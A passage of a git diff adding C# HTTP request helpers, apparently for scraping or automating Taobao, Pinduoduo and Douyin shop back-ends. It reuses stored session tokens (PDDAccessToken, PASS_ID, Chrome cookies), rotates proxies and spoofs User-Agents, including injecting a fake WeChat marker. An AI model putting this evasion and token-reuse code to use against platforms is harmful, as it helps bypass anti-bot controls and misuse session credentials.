(string.IsNullOrEmpty(cookies)) + cookies = BaseClass.ChromeCookies; + string pdd = ""; + if (!string.IsNullOrEmpty(cookies)) + pdd = BaseRegex.GetMatchRegexString(ref cookies, "PDDAccessToken=([^;]+?);"); + string pddx = ""; + if (!string.IsNullOrEmpty(cookies)) + pddx = BaseRegex.GetMatchRegexString(ref cookies, "PASS_ID=([^;]+?);"); + Againt: + string userAgent = BaseClass.ChromeUserAgent; + WebClientx wb = new WebClientx(); + wb.Timeout = 3; + wb.AllowAutoRedirect = true; + wb.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + wb.Headers.Add("User-Agent", userAgent); + wb.Proxy = null; + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + wb.Proxy = proxyObject; + string rehead = wb.Headers.ToString(); + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = encode.GetBytes(data); + string html, head; + try + { + if (string.IsNullOrEmpty(data) && !isPost) + { + b = wb.DownloadData(url); + } + else + { + if (isPost || url.Contains("taobao.com")) + { + wb.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + } + else + { + wb.Headers.Add("Content-Type", "application/json; charset=" + (isUtf8 ? "UTF-8" : "gbk")); + } + wb.Headers.Add("ContentLength", postData.Length.ToString()); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + + string c = BaseRegex.GetMatchRegexString(wb.ResponseHeaders["Content-Type"], "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8"); + } + if (string.IsNullOrEmpty(c)) + c = BaseRegex.GetMatchRegexString(html, @"]*?charset=[""']*([\w-]+)[""']*"); + if (!string.IsNullOrEmpty(c)) + { + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + head = wb.ResponseHeaders.ToString(); + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + //if (!againt) + //{ + // againt = true; + // Thread.Sleep(10 * 1000); + // goto Againt; + //} + //if (!againt&&(ee.Message.Contains("目标机器")||(ee.Message.Contains("服务器")))) + //{ + // againt = true; + // GetIPS(); + // Thread.Sleep(10 * 1000); + // goto Againt; + //} + } + return GetHtml.Decode(html); + } + catch (Exception e) + { + LogSave.Add("访问网址错误:" + url + " " + e.Message); + return ""; + } + + } + public static string UploadTaobaoNewPost(string url, string refere, bool isUtf8, string data, bool isPost, + string cookies, WebProxy proxyObject) + { + bool againt = false; + try + { + cookies = ""; + string pdd = ""; + if (!string.IsNullOrEmpty(cookies)) + pdd = BaseRegex.GetMatchRegexString(ref cookies, "PDDAccessToken=([^;]+?);"); + string pddx = ""; + if (!string.IsNullOrEmpty(cookies)) + pddx = BaseRegex.GetMatchRegexString(ref cookies, "PASS_ID=([^;]+?);"); + Againt: + string userAgent = UserAgentList[new Random(Guid.NewGuid().GetHashCode()).Next(0, UserAgentList.Count)]; + if (!string.IsNullOrEmpty(userAgent) && !userAgent.Contains("MicroMessenger")) + { + userAgent = userAgent.Insert(new Random().Next(userAgent.Length), "MicroMessenger" + Guid.NewGuid().ToString().Replace("-", "").Substring(0, new Random().Next(5))); + } + WebClientx wb = new WebClientx(); + wb.Timeout = 10; + wb.AllowAutoRedirect = true; + wb.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + wb.Headers.Add("User-Agent", userAgent); + //SetAuthorization(wb); + wb.Proxy = null; + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + wb.Proxy = proxyObject; + string rehead = wb.Headers.ToString(); + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = encode.GetBytes(data); + string html, head; + try + { + if (string.IsNullOrEmpty(data) && !isPost) + { + b = wb.DownloadData(url); + } + else + { + if (isPost || url.Contains("taobao.com")) + { + wb.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + } + else + { + wb.Headers.Add("Content-Type", "application/json; charset=" + (isUtf8 ? "UTF-8" : "gbk")); + } + wb.Headers.Add("ContentLength", postData.Length.ToString()); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + + string c = BaseRegex.GetMatchRegexString(wb.ResponseHeaders["Content-Type"], "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8"); + } + if (string.IsNullOrEmpty(c)) + c = BaseRegex.GetMatchRegexString(html, @"]*?charset=[""']*([\w-]+)[""']*"); + if (!string.IsNullOrEmpty(c)) + { + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + head = wb.ResponseHeaders.ToString(); + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + //if (!againt) + //{ + // againt = true; + // Thread.Sleep(10 * 1000); + // goto Againt; + //} + //if (!againt&&(ee.Message.Contains("目标机器")||(ee.Message.Contains("服务器")))) + //{ + // againt = true; + // GetIPS(); + // Thread.Sleep(10 * 1000); + // goto Againt; + //} + } + return GetHtml.Decode(html); + } + catch (Exception e) + { + LogSave.Add("访问网址错误:" + url + " " + e.Message); + return ""; + } + + } + + + public static string UploadTaobaoNewCePost(string url, string refere, bool isUtf8, string data, bool isPost, + string cookies, WebProxy proxyObject) + { + bool againt = false; + try + { + string pdd = ""; + if (!string.IsNullOrEmpty(cookies)) + pdd = BaseRegex.GetMatchRegexString(ref cookies, "PDDAccessToken=([^;]+?);"); + string pddx = ""; + if (!string.IsNullOrEmpty(cookies)) + pddx = BaseRegex.GetMatchRegexString(ref cookies, "PASS_ID=([^;]+?);"); + Againt: + string userAgent = UserAgentList[new Random(Guid.NewGuid().GetHashCode()).Next(0, UserAgentList.Count)]; + if (!string.IsNullOrEmpty(userAgent) && !userAgent.Contains("MicroMessenger")) + { + userAgent = userAgent.Insert(new Random().Next(userAgent.Length), "MicroMessenger" + Guid.NewGuid().ToString().Replace("-", "").Substring(0, new Random().Next(5))); + } + WebClientx wb = new WebClientx(); + wb.Timeout = 10; + wb.AllowAutoRedirect = true; + wb.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + wb.Headers.Add("User-Agent", userAgent); + if (!string.IsNullOrEmpty(cookies) && cookies.Contains("PDDAccessToken") && BaseClass.CookiesAll.ContainsKey("yangkeduo.com") && BaseClass.CookiesAll["yangkeduo.com"].ContainsKey("PDDAccessToken")) + wb.Headers.Add("accesstoken", BaseClass.CookiesAll["yangkeduo.com"]["PDDAccessToken"]); + else if (!string.IsNullOrEmpty(pdd)) + wb.Headers.Add("accesstoken", pdd); + //SetAuthorization(wb); + wb.Proxy = null; + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + wb.Proxy = proxyObject; + string rehead = wb.Headers.ToString(); + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = encode.GetBytes(data); + string html, head; + try + { + if (string.IsNullOrEmpty(data) && !isPost) + { + b = wb.DownloadData(url); + } + else + { + if (isPost || url.Contains("taobao.com")) + { + wb.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + } + else + { + wb.Headers.Add("Content-Type", "application/json; charset=" + (isUtf8 ? "UTF-8" : "gbk")); + } + wb.Headers.Add("ContentLength", postData.Length.ToString()); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + + string c = BaseRegex.GetMatchRegexString(wb.ResponseHeaders["Content-Type"], "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8"); + } + if (string.IsNullOrEmpty(c)) + c = BaseRegex.GetMatchRegexString(html, @"]*?charset=[""']*([\w-]+)[""']*"); + if (!string.IsNullOrEmpty(c)) + { + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + head = wb.ResponseHeaders.ToString(); + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + //if (!againt) + //{ + // againt = true; + // Thread.Sleep(10 * 1000); + // goto Againt; + //} + //if (!againt&&(ee.Message.Contains("目标机器")||(ee.Message.Contains("服务器")))) + //{ + // againt = true; + // GetIPS(); + // Thread.Sleep(10 * 1000); + // goto Againt; + //} + } + return GetHtml.Decode(html); + } + catch (Exception e) + { + LogSave.Add("访问网址错误:" + url + " " + e.Message); + return ""; + } + + } + + public static string UploadTaobaoPost(string url, string refere, bool isUtf8, string data, bool isPost, + string cookies) + { + bool againt = false; + try + { + //cookies = GetCookies(url, cookies); + //if (string.IsNullOrEmpty(cookies)) + // cookies = BaseClass.ChromeCookies; + cookies = ""; + string pdd = ""; + if (!string.IsNullOrEmpty(cookies)) + pdd = BaseRegex.GetMatchRegexString(ref cookies, "PDDAccessToken=([^;]+?);"); + string pddx = ""; + if (!string.IsNullOrEmpty(cookies)) + pddx = BaseRegex.GetMatchRegexString(ref cookies, "PASS_ID=([^;]+?);"); + Againt: + string userAgent = UserAgentList[new Random(Guid.NewGuid().GetHashCode()).Next(0, UserAgentList.Count)]; + WebClientx wb = new WebClientx(); + wb.Timeout = 30; + wb.AllowAutoRedirect = true; + wb.Headers.Add("Accept", "application/json, text/javascript, */*; q=0.01"); + wb.Headers.Add("X-Requested-With", "XMLHttpRequest"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + SetAuthorization(wb); + if (!string.IsNullOrEmpty(cookies) && cookies.Contains("PDDAccessToken") && BaseClass.CookiesAll.ContainsKey("yangkeduo.com") && BaseClass.CookiesAll["yangkeduo.com"].ContainsKey("PDDAccessToken")) + wb.Headers.Add("accesstoken", BaseClass.CookiesAll["yangkeduo.com"]["PDDAccessToken"]); + else if (!string.IsNullOrEmpty(pdd)) + wb.Headers.Add("accesstoken", pdd); + else if (!string.IsNullOrEmpty(pddx)) + wb.Headers.Add("PASSID", pddx); + if (url.Contains("gy.taobao.com")) + wb.Headers.Add("Origin", "https://gy.taobao.com"); + if (url.Contains("mms.pinduoduo.com")) + wb.Headers.Add("Origin", "http://mms.pinduoduo.com"); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + wb.Headers.Add("User-Agent", userAgent); + wb.Proxy = null; + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + wb.Proxy = null; + string rehead = wb.Headers.ToString(); + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = encode.GetBytes(data); + string html, head; + try + { + if (string.IsNullOrEmpty(data) && !isPost) + { + b = wb.DownloadData(url); + } + else + { + if (isPost || url.Contains("taobao.com")) + { + wb.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + } + else + { + wb.Headers.Add("Content-Type", "application/json; charset=" + (isUtf8 ? "UTF-8" : "gbk")); + } + wb.Headers.Add("ContentLength", postData.Length.ToString()); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + + string c = BaseRegex.GetMatchRegexString(wb.ResponseHeaders["Content-Type"], "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8"); + } + if (string.IsNullOrEmpty(c)) + c = BaseRegex.GetMatchRegexString(html, @"]*?charset=[""']*([\w-]+)[""']*"); + if (!string.IsNullOrEmpty(c)) + { + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + head = wb.ResponseHeaders.ToString(); + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + if (!againt) + { + againt = true; + Thread.Sleep(10 * 1000); + goto Againt; + } + } + return GetHtml.Decode(html); + } + catch (Exception e) + { + LogSave.Add("访问网址错误:" + url + " " + e.Message); + return ""; + } + + } + public static int GetJsonPostStatus(string url) + { + try + { + string userAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.1.62 Safari/537.36 PddWorkbench-Online PddBrowser"; + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);// + request.KeepAlive = true; + request.Accept = "application/json"; + request.UserAgent = userAgent; + request.ContentType = "application/json;charset=UTF-8"; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br"); + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + request.Method = "POST"; + request.ServicePoint.Expect100Continue = false; + string body = @"{}"; + byte[] postBytes = System.Text.Encoding.UTF8.GetBytes(body); + request.ContentLength = postBytes.Length; + Stream stream = request.GetRequestStream(); + stream.Write(postBytes, 0, postBytes.Length); + stream.Close(); + using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) + { + return response.StatusCode.ParseToInt(); + } + } + catch + { + + } + return 0; + } + + public static string GetCookies(string url, string cookies) + { + if (!string.IsNullOrEmpty(cookies)) + return cookies; + string mainDomain = GetHtml.GetMainDomain(GetHtml.GetDomain(url)); + if (BaseClass.CookiesAllString.ContainsKey(mainDomain)) + cookies = BaseClass.CookiesAllString[mainDomain]; + return cookies; + } + + public static void SetAuthorization(WebClientx wb) + { + long timeStamp = GetUnixSecondTimeStamp(DateTime.Now) + BaseClass.TimeDifferent; + string hexadecimalTimeStamp = timeStamp.ToString("X"); + string token = HMACSHA256(hexadecimalTimeStamp, ProxyIpKey).ToUpper(); + wb.Headers.Remove(headerKey); + wb.Headers.Add(headerKey, string.Format("{0}|{1}", hexadecimalTimeStamp, token)); + } + public static int GetUnixSecondTimeStamp(DateTime dt) + { + DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1)); + return (int)(dt - startTime).TotalSeconds; + } + public static string HMACSHA256(string encrypt, string key = "") + { + var encoding = new ASCIIEncoding(); + byte[] keyByte = encoding.GetBytes(key); + byte[] encryptByte = encoding.GetBytes(encrypt); + using (var hmacsha256 = new HMACSHA256(keyByte)) + { + byte[] hashmessage = hmacsha256.ComputeHash(encryptByte); + StringBuilder builder = new StringBuilder(); + for (int i = 0; i < hashmessage.Length; i++) + { + builder.Append(hashmessage[i].ToString("X2")); + } + return builder.ToString(); + } + } + + public static string UploadNewProxyJinBao(string url, string refere, bool isUtf8, string cookies, WebProxy proxyObject) + { + return UploadTaobaoNewJinBaoPost(url, refere, isUtf8, "", false, cookies, proxyObject); + } + public static string UploadNewProxyJinBaoPost(string url, string refere, bool isUtf8, string data, string cookies, WebProxy proxyObject) + { + return UploadTaobaoJinBaoPost(url, refere, isUtf8, data, false, cookies, proxyObject); + } + public static string UploadTaobaoNewJinBaoPost(string url, string refere, bool isUtf8, string data, bool isPost, + string cookies, WebProxy proxyObject) + { + bool againt = false; + try + { + //cookies = ""; + string pdd = ""; + if (!string.IsNullOrEmpty(cookies)) + pdd = BaseRegex.GetMatchRegexString(ref cookies, "PDDAccessToken=([^;]+?);"); + string pddx = ""; + if (!string.IsNullOrEmpty(cookies)) + pddx = BaseRegex.GetMatchRegexString(ref cookies, "PASS_ID=([^;]+?);"); + Againt: + string userAgent = UserAgentList[new Random(Guid.NewGuid().GetHashCode()).Next(0, UserAgentList.Count)]; + WebClientx wb = new WebClientx(); + wb.Timeout = 10; + wb.AllowAutoRedirect = true; + wb.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + wb.Headers.Add("User-Agent", userAgent); + //SetAuthorization(wb); + wb.Proxy = null; + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + wb.Proxy = proxyObject; + string rehead = wb.Headers.ToString(); + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = encode.GetBytes(data); + string html, head; + try + { + if (string.IsNullOrEmpty(data) && !isPost) + { + b = wb.DownloadData(url); + } + else + { + if (isPost || url.Contains("taobao.com")) + { + wb.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + } + else + { + wb.Headers.Add("Content-Type", "application/json; charset=" + (isUtf8 ? "UTF-8" : "gbk")); + } + wb.Headers.Add("ContentLength", postData.Length.ToString()); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + + string c = BaseRegex.GetMatchRegexString(wb.ResponseHeaders["Content-Type"], "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8"); + } + if (string.IsNullOrEmpty(c)) + c = BaseRegex.GetMatchRegexString(html, @"]*?charset=[""']*([\w-]+)[""']*"); + if (!string.IsNullOrEmpty(c)) + { + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + head = wb.ResponseHeaders.ToString(); + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + //if (!againt) + //{ + // againt = true; + // Thread.Sleep(10 * 1000); + // goto Againt; + //} + //if (!againt&&(ee.Message.Contains("目标机器")||(ee.Message.Contains("服务器")))) + //{ + // againt = true; + // GetIPS(); + // Thread.Sleep(10 * 1000); + // goto Againt; + //} + } + return GetHtml.Decode(html); + } + catch (Exception e) + { + LogSave.Add("访问网址错误:" + url + " " + e.Message); + return ""; + } + + } + + public static string UploadTaobaoJinBaoPost(string url, string refere, bool isUtf8, string data, bool isPost, + string cookies, WebProxy proxyObject) + { + bool againt = false; + try + { + cookies = GetCookies(url, cookies); + if (string.IsNullOrEmpty(cookies)) + cookies = BaseClass.ChromeCookies; + string pdd = ""; + if (!string.IsNullOrEmpty(cookies)) + pdd = BaseRegex.GetMatchRegexString(ref cookies, "PDDAccessToken=([^;]+?);"); + string pddx = ""; + if (!string.IsNullOrEmpty(cookies)) + pddx = BaseRegex.GetMatchRegexString(ref cookies, "PASS_ID=([^;]+?);"); + Againt: + string userAgent = BaseClass.ChromeUserAgent; + WebClientx wb = new WebClientx(); + wb.Timeout = 3; + wb.AllowAutoRedirect = true; + wb.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + wb.Headers.Add("User-Agent", userAgent); + wb.Proxy = null; + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + wb.Proxy = proxyObject; + string rehead = wb.Headers.ToString(); + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = encode.GetBytes(data); + string html, head; + try + { + if (string.IsNullOrEmpty(data) && !isPost) + { + b = wb.DownloadData(url); + } + else + { + if (isPost || url.Contains("taobao.com")) + { + wb.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + } + else + { + wb.Headers.Add("Content-Type", "application/json; charset=" + (isUtf8 ? "UTF-8" : "gbk")); + } + wb.Headers.Add("ContentLength", postData.Length.ToString()); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + + string c = BaseRegex.GetMatchRegexString(wb.ResponseHeaders["Content-Type"], "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8"); + } + if (string.IsNullOrEmpty(c)) + c = BaseRegex.GetMatchRegexString(html, @"]*?charset=[""']*([\w-]+)[""']*"); + if (!string.IsNullOrEmpty(c)) + { + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + head = wb.ResponseHeaders.ToString(); + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + //if (!againt) + //{ + // againt = true; + // Thread.Sleep(10 * 1000); + // goto Againt; + //} + //if (!againt&&(ee.Message.Contains("目标机器")||(ee.Message.Contains("服务器")))) + //{ + // againt = true; + // GetIPS(); + // Thread.Sleep(10 * 1000); + // goto Againt; + //} + } + return GetHtml.Decode(html); + } + catch (Exception e) + { + LogSave.Add("访问网址错误:" + url + " " + e.Message); + return ""; + } + + } + + + } + public enum ProxyTypeEnum + { + [Description("未知")] + Unknown = 0, + + [Description("火箭代理 http://125.88.158.218/")] + RocketDaiLi = 1, + + [Description("66代理")] + SixSixDaiLi = 2, + + [Description("快代理")] + KuaiDaiLi = 3 + } + public enum UserAgentTypeEnum + { + [Description("未知")] + Unknown = 0, + + [Description("PC")] + PC = 1, + + [Description("Mobile")] + Mobile = 2, + + [Description("Pad")] + Pad = 3 + } + public class HttpParam + { + public HttpParam() + { + ResponseEncoding = Encoding.UTF8; + } + public string Url { get; set; } + public string Method { get; set; } + public string PostData { get; set; } + public string ContentType { get; set; } + public string Cookie { get; set; } + public string Referer { get; set; } + public string UserAgent { get; set; } + public UserAgentTypeEnum UserAgentType { get; set; } + public string AcceptLanguage { get; set; } + public string Accept { get; set; } + [JsonIgnore] + public WebProxy Proxy { get; set; } + public int Timeout { get; set; } + public Dictionary Header { get; set; } + public int ProxySleep { get; set; } + public int TryTimes { get; set; } + public int ActualTryTimes { get; set; } + [JsonIgnore] + public CancellationTokenSource CancellationTokenSource { get; set; } + [JsonIgnore] + public Encoding ResponseEncoding { get; set; } + } +} diff --git a/AllBase/Helper/CommonSimRequest.cs b/AllBase/Helper/CommonSimRequest.cs new file mode 100644 index 0000000..e9365c0 --- /dev/null +++ b/AllBase/Helper/CommonSimRequest.cs @@ -0,0 +1,216 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.IO.Compression; +using System.Linq; +using System.Net; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Helper +{ + public class CommonSimRequest + { + public string Accept { get; set; } = "application/json, text/plain, */*"; + public string ContentType { get; set; } = "application/x-www-form-urlencoded"; + public string UserAgent { get; set; } = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.79 Safari/537.36"; + public Encoding Encoding { get; set; } = Encoding.UTF8; + + public string Request_Get(string url, string referer, Dictionary headers, string cookies) + { + HttpWebResponse response = null; + string responseText = ""; + if (headers == null) + headers = new Dictionary(); + + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + + request.KeepAlive = true; + request.Accept = Accept; + request.UserAgent = UserAgent; + request.ContentType = ContentType; + foreach (var key in headers.Keys) + { + request.Headers.Add(key, headers[key]); + } + request.Referer = referer; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate"); + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "en-US,en;q=0.9"); + request.Headers.Set(HttpRequestHeader.Cookie, cookies); + + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException e) + { + if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response; + else responseText = "error," + e.Message; + } + catch (Exception ex) + { + responseText = "error," + ex.Message; + } + if (response != null) + { + if (string.IsNullOrEmpty(responseText)) + responseText = ReadResponse(response, this.Encoding); + response.Close(); + } + + return responseText; + } + + public string Request_Post(string url, string referer, Dictionary headers, string cookies, string data, bool isSetCommonHeaders = true) + { + HttpWebResponse response = null; + string responseText = ""; + if (headers == null) + headers = new Dictionary(); + + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + + request.KeepAlive = true; + request.Accept = Accept; + request.UserAgent = UserAgent; + request.ContentType = ContentType; + if (isSetCommonHeaders) + { + if (!headers.Keys.Contains("Origin")) + request.Headers.Add("Origin", @"https://fxg.jinritemai.com/"); + } + foreach (var key in headers.Keys) + { + request.Headers.Add(key, headers[key]); + } + request.Referer = referer; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate"); + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "en-US,en;q=0.9"); + request.Headers.Set(HttpRequestHeader.Cookie, cookies); + + request.Method = "POST"; + request.ServicePoint.Expect100Continue = false; + + string body = data; + byte[] postBytes = Encoding.UTF8.GetBytes(body); + request.ContentLength = postBytes.Length; + Stream stream = request.GetRequestStream(); + stream.Write(postBytes, 0, postBytes.Length); + stream.Close(); + + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException e) + { + if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response; + else responseText = "error," + e.Message; + } + catch (Exception ex) + { + responseText = "error," + ex.Message; + } + if (response != null) + { + if (string.IsNullOrEmpty(responseText)) + responseText = ReadResponse(response, this.Encoding); + response.Close(); + } + + return responseText; + } + + public string Request_PostByBigLength(string url, string referer, Dictionary headers, string cookies, string data, bool AcceptEncoding = true, bool isSetCommonHeaders = true) + { + HttpWebResponse response = null; + string responseText = ""; + if (headers == null) + headers = new Dictionary(); + + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + + request.KeepAlive = true; + request.Accept = Accept; + request.UserAgent = UserAgent; + request.UserAgent = AllBase.BaseClass.ChromeUserAgent; + request.ContentType = ContentType; + if (isSetCommonHeaders) + { + if (!headers.Keys.Contains("Origin")) + request.Headers.Add("Origin", @"https://fxg.jinritemai.com"); + } + foreach (var key in headers.Keys) + { + request.Headers.Add(key, headers[key]); + } + request.Referer = referer; + if (AcceptEncoding) + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "deflate"); + else + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate"); + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + request.Headers.Set(HttpRequestHeader.Cookie, cookies); + + request.Method = "POST"; + request.ServicePoint.Expect100Continue = false; + + string body = data; + byte[] postBytes = Encoding.UTF8.GetBytes(body); + request.ContentLength = postBytes.Length; + Stream stream = request.GetRequestStream(); + stream.Write(postBytes, 0, postBytes.Length); + stream.Close(); + + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException e) + { + if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response; + else responseText = "error," + e.Message; + } + catch (Exception ex) + { + responseText = "error," + ex.Message; + } + if (response != null) + { + if (string.IsNullOrEmpty(responseText)) + responseText = ReadResponse(response, this.Encoding); + response.Close(); + } + + return responseText; + } + + /// + /// 读取返回值 + /// + /// + /// + public static string ReadResponse(HttpWebResponse response, Encoding encoding = null) + { + if (encoding == null) + encoding = Encoding.UTF8; + using (Stream responseStream = response.GetResponseStream()) + { + Stream streamToRead = responseStream; + if (response.ContentEncoding.ToLower().Contains("gzip")) + { + streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress); + } + else if (response.ContentEncoding.ToLower().Contains("deflate")) + { + streamToRead = new DeflateStream(streamToRead, 